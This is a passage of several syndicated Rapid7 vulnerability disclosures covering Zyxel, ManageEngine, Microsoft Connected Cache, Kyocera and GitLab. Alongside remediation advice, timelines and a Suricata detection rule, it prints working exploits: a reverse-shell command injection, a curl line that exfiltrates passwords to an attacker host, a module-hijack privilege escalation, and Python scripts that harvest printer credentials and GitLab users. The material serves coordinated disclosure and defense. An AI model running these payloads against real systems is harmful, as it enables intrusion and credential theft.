nobody   16055  0.0  0.0   3568  1492 ?        S    06:16   0:00  |       \_ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN3 4 ; ping 192.168.1.220; 5 >/dev/null 2>&1
nobody   16057  0.0  0.0   2152   564 ?        S    06:16   0:00  |           \_ ping 192.168.1.220

A reverse shell can be established using the normal bash GTFOBin. For example:

curl -v --insecure -X POST -H "Content-Type: application/json" -d '
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":
"1","vlanid":"5","mtu":"; bash -c \"exec bash -i &>/dev/tcp/
192.168.1.220/1270 <&1;\";","data":"hi"}' https://192.168.1.1
/ztp/cgi-bin/handler

The resulting reverse shell can be used like so:

[email protected]:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 192.168.1.1 37882
bash: cannot set terminal process group (11037): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
bash-5.1$ uname -a
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
Bash-5.1

Metasploit module

A Metasploit module has been developed for these vulnerabilities. The module can be used to establish a nobody Meterpreter session. The following video demonstrates exploitation:



CVE-2022-30525 (FIXED): Zyxel Firewall Unauthenticated Remote Command Injection

We’ve shared a PCAP that captures Metasploit’s exploitation of a Zyxel USG FLEX 100. The PCAP can be found attached to the module’s pull request. The Metasploit module injects commands in the mtu field, and as such, the following Suricata rule should flag its use:

alert http any any -> any any ( \
    msg:"Possible Zyxel ZTP setWanPortSt mtu Exploit Attempt"; \
    flow:to_server; \
    http.method; content:"POST"; \
    http.uri; content:"/ztp/cgi-bin/handler"; \
    http.request_body; content:"setWanPortSt"; \
    http.request_body; content:"mtu"; \
    http.request_body; pcre:"/mtu["']\s*:\s*["']\s*[^0-9]+/i";
    classtype:misc-attack; \
    sid:221270;)

Credit

This issue was discovered by Jake Baines of Rapid7, and it is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Remediation

Apply the vendor patch as soon as possible. If possible, enable automatic firmware updates. Disable WAN access to the administrative web interface of the system.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2022-30525 with a remote vulnerability check.

Disclosure timeline

Astute readers will notice this timeline is a little atypical for Rapid7 disclosures. In accordance with our 60-day disclosure policy, we suggested a coordinated disclosure date in June. Instead, Zyxel released patches to address this issue on April 28, 2022. At that time, Zyxel did not publish an associated CVE or security advisory. On May 9, Rapid7 independently discovered Zyxel’s uncoordinated disclosure. The vendor then reserved CVE-2022-30525.

This patch release is tantamount to releasing details of the vulnerabilities, since attackers and researchers can trivially reverse the patch to learn precise exploitation details, while defenders rarely bother to do this. Therefore, we’re releasing this disclosure early in order to assist defenders in detecting exploitation and to help them decide when to apply this fix in their own environments, according to their own risk tolerances. In other words, silent vulnerability patching tends to only help active attackers, and leaves defenders in the dark about the true risk of newly discovered issues.

April 2022 – Discovered by Jake Baines
April 13, 2022 – Rapid7 discloses to [email protected]. Proposed disclosure date June 21, 2022.
April 14, 2022 – Zyxel acknowledges receipt.
April 20, 2022 – Rapid7 asks for an update and shares delight over “Here is how to pronounce ZyXEL’s name”.
April 21, 2022 – Zyxel acknowledges reproduction of the vulnerabilities.
April 28, 2022 – Zyxel releases patches without coordination with vulnerability reporter.
April 29, 2022 – Zyxel indicates patch is likely to release before June 14, 2022.
May 9, 2022 – Rapid7 realizes Zyxel already issued patches. Rapid7 asks Zyxel for a response on the silent patches and indicates that our team will publicly disclose the week of May 9, 2022.
May 10, 2022 – Zyxel reserves CVE-2022-30525 and proposes a new disclosure schedule.
May 12, 2022 – This disclosure bulletin and Metasploit module published.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading:

CVE-2022-28810: ManageEngine ADSelfService Plus Authenticated Command Execution (Fixed)

Post Syndicated from Jake Baines original https://blog.rapid7.com/2022/04/14/cve-2022-28810-manageengine-adselfservice-plus-authenticated-command-execution-fixed/

CVE-2022-28810: ManageEngine ADSelfService Plus Authenticated Command Execution (Fixed)

On April 9, 2022, ManageEngine fixed CVE-2022-28810 with the release of ADSelfService Plus Build 6122. The vulnerability allowed the admin user to execute arbitrary operating system commands and potentially allowed partially authenticated Active Directory users to execute arbitrary operating system commands via the password reset functionality. Rapid7’s Managed Detection and Response (MDR) team has observed this custom scripts feature in ADSelfService Plus being abused in the wild by remote attackers with valid administrative credentials.

Credit

This vulnerability was discovered by Rapid7 researchers Jake Baines, Hernan Diaz, Andrew Iwamaye, and Dan Kelly.

Exploitation

The vulnerability arose from a feature that allowed the admin user to execute arbitrary operating system commands after a password reset or account lockout status update.

CVE-2022-28810: ManageEngine ADSelfService Plus Authenticated Command Execution (Fixed)

The example provided by the UI is cscript test.vbs %userName %password% where test.vbs is supposed to be a file stored in C:\ManageEngine\ADSelfService Plus\bin by a user with local access to the underlying operating system. But the reality is that any commands could be stored here. An attacker that acquired the admin user’s password (default: admin) could trivially achieve remote command execution this way.

For example, the attacker could use the script command “cmd.exe /c whoami,” and when a user resets their password, the command “whoami” is executed.

CVE-2022-28810: ManageEngine ADSelfService Plus Authenticated Command Execution (Fixed)

Rapid7 MDR has observed this technique being actively leveraged in customer environments — compromised (or default) admin credentials have been used to execute arbitrary OS commands in order to gain persistence on the underlying system and attempt to pivot further into the environment.

Furthermore, the “%password%” variable was passed to the configured script without sanitization. Depending on the configured script, an attacker that is able to trigger a password reset could inject arbitrary operating system commands. For example, if the admin user configured the following script:

cmd.exe /c echo %username% %password% >> C:\ProgramData\something.txt

An attacker could inject arbitrary commands via password reset by providing a %password% like:

&& mkdir C:\ProgramData\helloworld && echo hi

Resulting in the directory “helloworld” being created in C:\ProgramData\.

CVE-2022-28810: ManageEngine ADSelfService Plus Authenticated Command Execution (Fixed)

Finally, because %password% isn’t sanitized or obfuscated at all, the admin user can observe all password changes, allowing them to effectively recover valid credentials for active directory accounts. As a proof of concept for this, we used the admin account to configure the password reset script to exfiltrate the new password to a server in the attacker’s control:

cmd.exe /c curl http://10.0.0.2:1270/%userName%=%password%

The attacker server would receive the following on password reset:

[email protected]:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.13 62065
GET /albinolobster=sl0wrunner! HTTP/1.1
Host: 10.0.0.2:1270
User-Agent: curl/7.55.1
Accept: */*

The patch

ManageEngine fixed this issue by no longer accepting scripts through the web interface. Post action scripts must now be placed on disk by a user with access to the underlying operating system. Furthermore, the script arguments are now base64 encoded. Here is an updated version of the Post Action interface.

CVE-2022-28810: ManageEngine ADSelfService Plus Authenticated Command Execution (Fixed)

Indicators of compromise

We encourage users of ManageEngine ADSelfService Plus to inspect the value they have configured in the Post Action fields. Using the admin account, you can navigate to the fields by following this pattern: Configuration -> Self Service -> Policy Configuration -> Advanced -> Password Sync.

We also highly encourage users to upgrade as soon as possible and to change the admin password.

Disclosure timeline

Tue, Apr 6, 2022: Initially discovered in the wild via Rapid7 Managed Detection and Response (MDR) service
Tue April 6, 2022: Initial disclosure to the vendor via their reporting portal
Wed April 7, 2022: Discussion with vendor about the issues, CVE assignment, and disclosure timelines
Sat April 9, 2022: ManageEngine publishes a new version of ADSelfService Plus
Tue Apr 12, 2022: Disclosed to CERT/CC and NCSC
April 14, 2022: Rapid7 publishes their disclosure (this document)

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2022-28810 with an unauthenticated vulnerability check in the April 13, 2022 content release.

InsightIDR’s existing detection rules (listed below) are able to identify attacks that abuse this functionality. We recommend that you review your settings for these detection rules and confirm they are turned on and set to an appropriate rule action and priority for your organization:

  • Suspicious Process – Powershell Invoke-WebRequest
  • Attacker Technique – Attrib Sets File Or Directory As Hidden And System
  • Attacker Technique – Enumerating Domain Or Enterprise Admins With Net Command
  • Suspicious Process – Zoho ManageEngine Spawns Child

We have also added the following detection rule and prioritized it as Critical:

  • Attacker Technique – Hiding ScreenConnect With Attrib

Rapid7 detection logic is continuously reviewed to ensure detections are based on any observed attacker behavior seen by our Incident Response (IR), Managed Detection and Response (MDR), and Threat Intelligence and Detection Engineering (TIDE) teams. Through continuous collaboration and threat landscape monitoring, we ensure product coverage for the latest techniques being used by malicious actors and will make updates as necessary.

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

CVE-2022-24527: Microsoft Connected Cache Local Privilege Escalation (Fixed)

Post Syndicated from Jake Baines original https://blog.rapid7.com/2022/04/12/cve-2022-24527-microsoft-connected-cache-local-privilege-escalation-fixed/

CVE-2022-24527: Microsoft Connected Cache Local Privilege Escalation (Fixed)

On April 12, 2022, Microsoft published CVE-2022-24527, a local privilege escalation vulnerability in Microsoft Connected Cache. The vulnerability allowed a local low-privileged user to execute arbitrary Powershell as SYSTEM due to improper file permission assignment (CWE-732).

Product description

Connected Cache is a feature used by Microsoft Endpoint ManagerDistribution Points” to support “Delivery Optimization.”

Credit

This issue was discovered and reported by security researcher Jake Baines as part of Rapid7’s vulnerability disclosure program.

Exploitation

When Connected Cache is in use on a Distribution Point, it is installed, in part, into C:\Doinc\. Below, you can see that there are some Powershell scripts within that directory:

C:\>dir /s /b C:\Doinc\
C:\Doinc\Product
C:\Doinc\Product\Install
C:\Doinc\Product\Install\Logs
C:\Doinc\Product\Install\Tasks
C:\Doinc\Product\Install\Tasks\CacheNodeKeepAlive.ps1
C:\Doinc\Product\Install\Tasks\Maintenance.ps1
C:\Doinc\Product\Install\Tasks\SetDrivesToHealthy.ps1

Low-privileged users only have read and execute permissions on the Powershell scripts.

C:\Doinc\Product\Install\Tasks>icacls *.ps1
CacheNodeKeepAlive.ps1 NT AUTHORITY\SYSTEM:(I)(F)
                       NT AUTHORITY\NETWORK SERVICE:(I)(F)
                       BUILTIN\Administrators:(I)(F)
                       BUILTIN\Users:(I)(RX)

Maintenance.ps1 NT AUTHORITY\SYSTEM:(I)(F)
                NT AUTHORITY\NETWORK SERVICE:(I)(F)
                BUILTIN\Administrators:(I)(F)
                BUILTIN\Users:(I)(RX)

SetDrivesToHealthy.ps1 NT AUTHORITY\SYSTEM:(I)(F)
                       NT AUTHORITY\NETWORK SERVICE:(I)(F)
                       BUILTIN\Administrators:(I)(F)
                       BUILTIN\Users:(I)(RX)

Successfully processed 3 files; Failed processing 0 files

The Powershell scripts are executed every 60 seconds by the Task Scheduler as NT AUTHORITY\SYSTEM. All that is fine. The following part is where trouble begins. This is how SetDrivesToHealthy.ps1 starts:

try
{  
    import-module 'webAdministration'

    $error.clear() 

When SetDrivesToHealthy.ps1 executes, it attempts to load the webAdministration module. Before searching the normal %PSModulePath% path, SetDrivesToHealthy.ps1 looks for the import in C:\Doinc\Product\Install\Tasks\WindowsPowerShell\Modules\webAdministration\. As we saw above, this directory doesn’t exist. And while low-privileged users can’t modify the Connected Cache PowerShell scripts, they do have sufficient privileges to add subdirectories and files to C:\Doinc\Product\Install\Tasks\:

C:\Doinc\Product\Install>icacls ./Tasks/
./Tasks/ NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
         NT AUTHORITY\NETWORK SERVICE:(I)(OI)(CI)(F)
         BUILTIN\Administrators:(I)(OI)(CI)(F)
         BUILTIN\Users:(I)(OI)(CI)(RX)
         BUILTIN\Users:(I)(CI)(AD)
         BUILTIN\Users:(I)(CI)(WD)
         CREATOR OWNER:(I)(OI)(CI)(IO)(F)

An attacker can create the necessary directory structure and place their own webAdministration so that SetDrivesToHealthy.ps1 will import it. In the proof of concept below, the low-privileged attacker creates the directory structure and creates a PowerShell script that creates the file C:\r7.

C:\Doinc\Product\Install\Tasks>dir C:\
 Volume in drive C has no label.
 Volume Serial Number is 3073-81A6

 Directory of C:\

01/04/2022  05:01 PM    <DIR>          Doinc
01/04/2022  05:15 PM    <DIR>          DOINC-E77D08D0-5FEA-4315-8C95-10D359D59294
01/04/2022  03:48 PM    <DIR>          inetpub
07/07/2021  04:05 AM    <DIR>          PerfLogs
01/05/2022  09:29 AM    <DIR>          Program Files
01/05/2022  09:29 AM    <DIR>          Program Files (x86)
01/05/2022  09:16 AM    <DIR>          SCCMContentLib
01/05/2022  09:15 AM    <DIR>          SMSPKGC$
01/05/2022  09:17 AM    <DIR>          SMSSIG$
01/05/2022  09:17 AM    <DIR>          SMS_DP$
01/04/2022  05:04 PM    <DIR>          Users
01/04/2022  03:48 PM    <DIR>          Windows
               0 File(s)              0 bytes
              12 Dir(s)  239,837,327,360 bytes free

C:\Doinc\Product\Install\Tasks>mkdir WindowsPowerShell

C:\Doinc\Product\Install\Tasks>mkdir WindowsPowerShell\Modules\

C:\Doinc\Product\Install\Tasks>mkdir WindowsPowerShell\Modules\webAdministration\

C:\Doinc\Product\Install\Tasks>echo New-Item C:\r7.txt > WindowsPowerShell\Modules\webAdministration\webAdministration.psm1

C:\Doinc\Product\Install\Tasks>dir C:\
 Volume in drive C has no label.
 Volume Serial Number is 3073-81A6

 Directory of C:\

01/04/2022  05:01 PM    <DIR>          Doinc
01/04/2022  05:15 PM    <DIR>          DOINC-E77D08D0-5FEA-4315-8C95-10D359D59294
01/04/2022  03:48 PM    <DIR>          inetpub
01/05/2022  01:49 PM                 0 r7.txt
07/07/2021  04:05 AM    <DIR>          PerfLogs
01/05/2022  09:29 AM    <DIR>          Program Files
01/05/2022  09:29 AM    <DIR>          Program Files (x86)
01/05/2022  09:16 AM    <DIR>          SCCMContentLib
01/05/2022  09:15 AM    <DIR>          SMSPKGC$
01/05/2022  09:17 AM    <DIR>          SMSSIG$
01/05/2022  09:17 AM    <DIR>          SMS_DP$
01/04/2022  05:04 PM    <DIR>          Users
01/04/2022  03:48 PM    <DIR>          Windows
               1 File(s)              0 bytes
              12 Dir(s)  239,836,917,760 bytes free

C:\Doinc\Product\Install\Tasks>icacls C:\r7.txt
C:\lol.txt NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Administrators:(I)(F)
           BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\Doinc\Product\Install\Tasks>

As you can see the C:\r7.txt file is created, demonstrating the privilege escalation. Process monitor capture attached screenshot from the process monitor captures the PowerShell module being read in and the file being created by the SYSTEM user.

Remediation

Follow Microsoft guidance on updating the Distribution Point software. If that is not possible, disabling the caching feature will effectively mitigate this issue.

Disclosure timeline

January 5, 2022: Issue disclosed to the vendor
January 5, 2022: Vendor acknowledgement
January 6, 2022: Vendor assigns a case identifier
January 10-11, 2022: Vendor and researcher discuss clarifying details
January 19, 2022: Vendor confirms the vulnerability
February-March 2022: Vendor and researcher coordinate on disclosure date and CVE assignment
April 12, 2022: Public disclosure (this document)

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

CVE-2022-1026: Kyocera Net View Address Book Exposure

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/

CVE-2022-1026: Kyocera Net View Address Book Exposure

Rapid7 researcher Aaron Henderson has discovered that several models of Kyocera multifunction printers running vulnerable versions of Net View unintentionally expose sensitive user information, including usernames and passwords, through an insufficiently protected address book export function. This vulnerability is an instance of CWE-522: Insufficiently Protected Credentials, and has an estimated base CVSS 3.1 score of 8.6, given that the credentials exposed are used to authenticate to other endpoints, such as external FTP and SMB servers.

Product description

Many Kyocera multifunction printers (MFPs) can be administered using Net Viewer. Two such supported and tested models of MFPs are the ECOSYS M2640idw and the TASKalfa 406ci. These printers can be routinely found in both home office and enterprise environments around the world.

Credit

This issue, CVE-2022-1026, was discovered by security researcher Aaron Henderson of Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

Kyocera exposes a SOAP API on port 9091/TCP used for remote printer management via the Net Viewer thick client application. While the API supports authentication, and the thick client performs this authentication, while capturing the SOAP requests, it was observed that the specific request to extract an address book, `POST /ws/km-wsdl/setting/address_book` does not require an authenticated session to submit. Those address books, in turn, contain stored email addresses, usernames, and passwords, which are normally used to store scanned documents on external services or send to users over email.

Exploitation details

In order to exploit the vulnerability, an attacker need only be on a network that can reach the MFP’s listening SOAP service on port 9091/TCP. The screenshot below describes submitting an unauthenticated SOAP request to that service, `POST /ws/km-wsdl/setting/address_book` with the described XML.

CVE-2022-1026: Kyocera Net View Address Book Exposure

This instructs the printer to prepare an address book object to be downloaded containing all sensitive data configured in the address book. The printer will respond with an address book enumeration object number, which is ‘5’ in this instance:

CVE-2022-1026: Kyocera Net View Address Book Exposure

Once that object number is received, an attacker can populate the “<ns1:enumeration>” value with that number in a SOAP request, wsa:Action get_personal_address_list, using the same POST endpoint, as shown below.

CVE-2022-1026: Kyocera Net View Address Book Exposure

This will return the printer address book with all configured email addresses, FTP credentials, and network SMB file share credentials stored for user scanning to network shares, in fairly readable XML:

CVE-2022-1026: Kyocera Net View Address Book Exposure

Finally, credentials can be harvested from the provided login_password fields:

CVE-2022-1026: Kyocera Net View Address Book Exposure

Exploit proof of concept

A proof-of-concept (PoC) Python exploit is shown below. Note the time.sleep(5) call, which allows the printer time to first generate the address book.

PoC Python code:

"""
Kyocera printer exploit
Extracts sensitive data stored in the printer address book, unauthenticated, including:
    *email addresses
    *SMB file share credentials used to write scan jobs to a network fileshare
    *FTP credentials
 
Author: Aaron Herndon, @ac3lives (Rapid7)
Date: 11/12/2021
Tested versions: 
    * ECOSYS M2640idw
    *  TASKalfa 406ci
    * 
 
Usage: 
python3 getKyoceraCreds.py printerip
"""
 
import requests
import xmltodict
import warnings
import sys
import time
warnings.filterwarnings("ignore")
 
url = "https://{}:9091/ws/km-wsdl/setting/address_book".format(sys.argv[1])
headers = {'content-type': 'application/soap+xml'}
# Submit an unauthenticated request to tell the printer that a new address book object creation is required
body = """<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:create_personal_address_enumerationRequest><ns1:number>25</ns1:number></ns1:create_personal_address_enumerationRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>"""
 
response = requests.post(url,data=body,headers=headers, verify=False)
strResponse = response.content.decode('utf-8')
#print(strResponse)
 
 
parsed = xmltodict.parse(strResponse)
# The SOAP request returns XML with an object ID as an integer stored in kmaddrbook:enumeration. We need this object ID to request the data from the printer.
getNumber = parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body']['kmaddrbook:create_personal_address_enumerationResponse']['kmaddrbook:enumeration']
 
body = """<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:get_personal_address_listRequest><ns1:enumeration>{}</ns1:enumeration></ns1:get_personal_address_listRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>""".format(getNumber)
 
print("Obtained address book object: {}. Waiting for book to populate".format(getNumber))
time.sleep(5)
print("Submitting request to retrieve the address book object...")
 
 
response = requests.post(url,data=body,headers=headers, verify=False)
strResponse = response.content.decode('utf-8')
#rint(strResponse)
 
parsed = xmltodict.parse(strResponse)
print(parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body'])
 
print("\n\nObtained address book. Review the above response for credentials in objects such as 'login_password', 'login_name'")

Impact

The most likely attack scenario involving this vulnerability would be an attacker, who is already inside the LAN perimeter, leveraging their ability to communicate directly with affected printers to learn the usernames and passwords to stored SMB and FTP file servers. In the case of SMB credentials, those might then be leveraged to establish a presence in the target networks’ Windows domain.

Depending on how those external services are administered, the attacker may also be able to collect prior (and future) print/scan jobs originating from the targeted printer, but the primary value of this vulnerability is lateral movement within the network. Note that printer credentials are not themselves at risk (except in the case of reused passwords, of course), but credentials to services the printer is normally expected to store scanned documents are exposed via this vulnerability.

Remediation

First and foremost, MFPs should under no circumstance be able to be reached directly across the internet. While this is true for most LAN-centric technologies, this is especially true for printers and scanners, which are popular targets for opportunistic attackers. These devices tend to only support weak authentication mechanisms, even in the best of cases, and are rarely kept up to date with firmware updates to address security issues. So, as long as only trusted users can reach these networked printers, the opportunity for attack is limited only to insiders and attackers who have otherwise managed to already establish a local network presence.

At the time of this disclosure, there is no patch or updated firmware available for affected devices. The version information displayed on a vulnerable ECOSYS M2640idw device is shown as below, and we believe the proper version number for this software is the middle version listed, “2S0_1000.005.0012S5_2000.002.505.”

CVE-2022-1026: Kyocera Net View Address Book Exposure

In light of the lack of patching, Kyocera customers are advised to disable the SOAP interface running on port 9091/TCP of affected MFPs. Details on precisely how to disable this service can be found in the documentation relevant to the specific MFP model. If SOAP access is required over the network for normal operation, users should ensure that address books do not contain sensitive, unchanging passwords.

One possible configuration that would make this vulnerability moot would be to only allow public, anonymous FTP or SMB write access (but not read access) for scanned document storage, and another process to move those documents securely across the network to their final destination. The exposure of email addresses would remain, but this is of considerably less value to most attackers.

Disclosure timeline

  • Nov 2021: Issue identified by Aaron Herndon of Rapid7
  • Tue Nov 16, 2021: Contacted Kyocera’s primary support and other-support
  • Fri Nov 19, 2021: Opened case number: CS211119002 with Kyocera support
  • Mon Nov 22, 2021: Released details to the vendor
  • Fri Jan 7, 2022: Opened JPCERT/CC case number JVNVU#96890480
    • Discovered a more reliable security-specific contact at Kyocera
  • Wed Jan 19, 2022: Extended disclosure deadline to mid-March, 2022
  • Jan-Mar 2022: Communication about workarounds and other mitigations
  • Fri Mar 18, 2022: CVE-2022-1026 reserved
  • Tue Mar 29, 2022: Public disclosure (this document)

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)

Post Syndicated from Jake Baines original https://blog.rapid7.com/2022/03/03/cve-2021-4191-gitlab-graphql-api-user-enumeration-fixed/

CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)

On February 25, 2022, GitLab published a fix for CVE-2021-4191, which is an instance of CWE-359, “Exposure of Private Personal Information to an Unauthorized Actor.” The now-patched vulnerability affected GitLab versions since 13.0. The vulnerability is the result of a missing authentication check when executing certain GitLab GraphQL API queries. A remote, unauthenticated attacker can use this vulnerability to collect registered GitLab usernames, names, and email addresses. Our initial CVSSv3 base score assessment for this issue is 5.3.

A Metasploit module is available, and we expect this to be exploited in the wild for information gathering and username list generation. The impact of the exploit alone is likely to be negligible, but could be impactful in conjunction with brute force password guessing and credential stuffing attacks.

Credit

This issue was discovered and reported by Jake Baines, senior security researcher, as part of Rapid7’s vulnerability disclosure program.

Impact

The GitLab GraphQL API information leak allows a remote, unauthenticated attacker to recover usernames, names, and sometimes email addresses. On the face of it, that sounds very low-stakes. However, account discovery is a MITRE ATT&CK technique for a reason. Collecting a list of valid user accounts is the first step to a variety of brute-force attacks, such as password guessing, password spraying, and credential stuffing.

These kinds of attacks may seem unsophisticated, but they work. The technique has been utilized by very successful malware/groups including Emotet, Fancy Bear, and Nobelium.

The open-source offensive security community has also invested a lot of time creating brute-forcing tools, which again reinforces that brute-forcing is a viable attack in the wild. Open-source brute-forcing tools such as ncrack, Patator, CrackMapExec, and THC-Hydra

implement attacks that use lists of usernames provided by the attacker. The GitLab GraphQL API information outputs valid usernames. Thus, this vulnerability and the existing tools complement each other.

While attackers can always use one of the popular wordlists that contain known usernames, a brute-force attack increases its chances of success by leveraging known valid usernames for the attacked organization.

The information leak also potentially allows an attacker to create a new username wordlist based on GitLab installations — not just from gitlab.com but also from the other 50,000 GitLab instances that can be reached from the internet.

CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)

Such a wordlist wouldn’t be unprecedented. In 2021, Clubhouse exposed an API that allowed unauthenticated users to enumerate the Clubhouse user base. Attackers used the API and combined the data into a single database they then posted to a hacking forum for anyone to use.

Note, this isn’t the first time GitLab has leaked similar details from an API. Back in 2015, MWR Infosecurity published a blog and an unauthenticated, remote Metasploit module that enumerated user accounts using the `/api/v3/internal/discover?key_id=` API.

Exploitation

After consulting with the GitLab engineering team, we have confirmed the issue was first introduced in GitLab 13.0.

The vulnerable endpoint is `/api/graphql`. The GitLab documentation states that a personal access token is used for authentication, shown below.

CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)

However, not all requests to the endpoint require authentication. A good place to test this from is GitLab’s `/-/graphql-explorer` endpoint. In the image below, a GraphQL request for the ID, name, and username of all users can be found on the left, and the response is on the right.

CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)

More than just the ID, name, and username can be requested. Below, you’ll find a more complete list of the information an unauthenticated, remote attacker can exfiltrate.

CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)

The following Python script will print a CSV containing the discovered IDs, usernames, names, email addresses, and if the user is a bot.

###
# Dumps GitLab's user base to CSV form.
#
# Requires GraphqlClient: pip install python-graphql-client
###
from python_graphql_client import GraphqlClient
import json
import sys
import argparse

top_parser = argparse.ArgumentParser(description='A tool for dumping a GitLab userbase via GraphQL')
top_parser.add_argument('--rurl', action="store", dest="rurl", required=True, help="The remote URL to send the requests to")
args = top_parser.parse_args()

client = GraphqlClient(endpoint=args.rurl)

# first starts at 1
first = 1

query_header = """query
{
    users"""
query_paging_info = ""
query_payload = """
    {
        pageInfo {
          hasNextPage
          hasPreviousPage
          endCursor
          startCursor
        }
        nodes {
          id
          bot
          username
          email
          publicEmail
          name
          webUrl
          webPath
          avatarUrl
          state
          location
          status {
            emoji
            availability
            message
            messageHtml
          }
          userPermissions {
            createSnippet
          }
          groupCount
          groups {
            nodes{
              id
              name
              fullName
              fullPath
            }
          }
          starredProjects {
            nodes{
              name
              path
              fullPath
            }
          }
          projectMemberships {
            nodes {
              id
              createdAt
            }
          }
          namespace{
            id
            name
            path
            fullName
            fullPath
            lfsEnabled
            visibility
            requestAccessEnabled
            sharedRunnersSetting
          }
          callouts {
            nodes{
              featureName
              dismissedAt
            }
          }
        }
      }
    }
"""

more_data = True

print("id,username,name,publicEmail,bot")
while more_data == True:
    query = query_header + query_paging_info + query_payload
    json_data = client.execute(query=query)

    if "errors" in json_data:
        print("Received error in response. Exiting. ")
        print(json.dumps(json_data))
        sys.exit(0)

    for user in json_data["data"]["users"]["nodes"]:
        print(user["id"] + "," +  user["username"] + "," + user["name"] + "," + user["publicEmail"] + "," + str(user["bot"]))

    if json_data["data"]["users"]["pageInfo"]["hasNextPage"] == True:
        query_paging_info = "(after:\"" + json_data["data"]["users"]["pageInfo"]["startCursor"] + "\")"
    else:
        more_data = False

Sample output from the above follows:

[email protected]:~$ python3 gitlab_enum.py --rurl http://10.0.0.6/api/graphql
id,username,name,publicEmail,bot
gid://gitlab/User/4,test,George,[email protected],False
gid://gitlab/User/3,support-bot,GitLab Support Bot,,True
gid://gitlab/User/2,alert-bot,GitLab Alert Bot,,True
gid://gitlab/User/1,root,Administrator,,False

Beyond building username lists for credential attacks, threat actors can use the information to start discovering affected users’ other social media accounts and contacts. This can be accomplished by querying individual GitLab profile pages or simply cross-referencing usernames, names, and email addresses with other sources. This type of information-gathering allows attackers to launch more sophisticated phishing attacks.

Mitigation

Unless you intend to offer GitLab as a general public resource accessible by anyone, ensure your GitLab instance is not reachable from the internet. Of course, we also urge users to patch their GitLab server instances to the latest versions (14.8.2, 14.7.4, and 14.6.5). Disabling public profiles is also a good general mitigation against unauthenticated information gathering.

To disable public profiles go to the Admin Area -> General -> Visibility and access controls -> Restricted visibility levels. Then check the box next to “Public”. This should prevent anyone who isn’t logged in from seeing user profiles.

Disclosure timeline

  • November 2021: Initial discovery and confirmation by Jake Baines of Rapid7
  • Thu, Nov 18, 2021: Initial contact to GitLabs
  • Tue, Nov 23, 2021: Issue #1408214 opened with GitLabs with full technical details provided
  • Mon, Jan 17, 2022: Vendor indicated a fix is forthcoming, after a number of status updates through November and December
  • Tue, Feb 8, 2022: Fix prepared, tested, and ready for release in the next security update
  • Fri, Feb 25, 2022: Patch released for CVE-2021-4191
  • Tue, Mar 1, 2022: Metasploit Module PR#16252 submitted for CVE-2021-4191
  • Thu, Mar 3, 2022: Public disclosure (this document) for CVE-2021-4191

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

CVE-2021-20038..42: SonicWall SMA 100 Multiple Vulnerabilities (FIXED)

Post Syndicated from Jake Baines original https://blog.rapid7.com/2022/01/11/cve-2021-20038-42-sonicwall-sma-100-multiple-vulnerabilities-fixed-2/

CVE-2021-20038..42: SonicWall SMA 100 Multiple Vulnerabilities (FIXED)

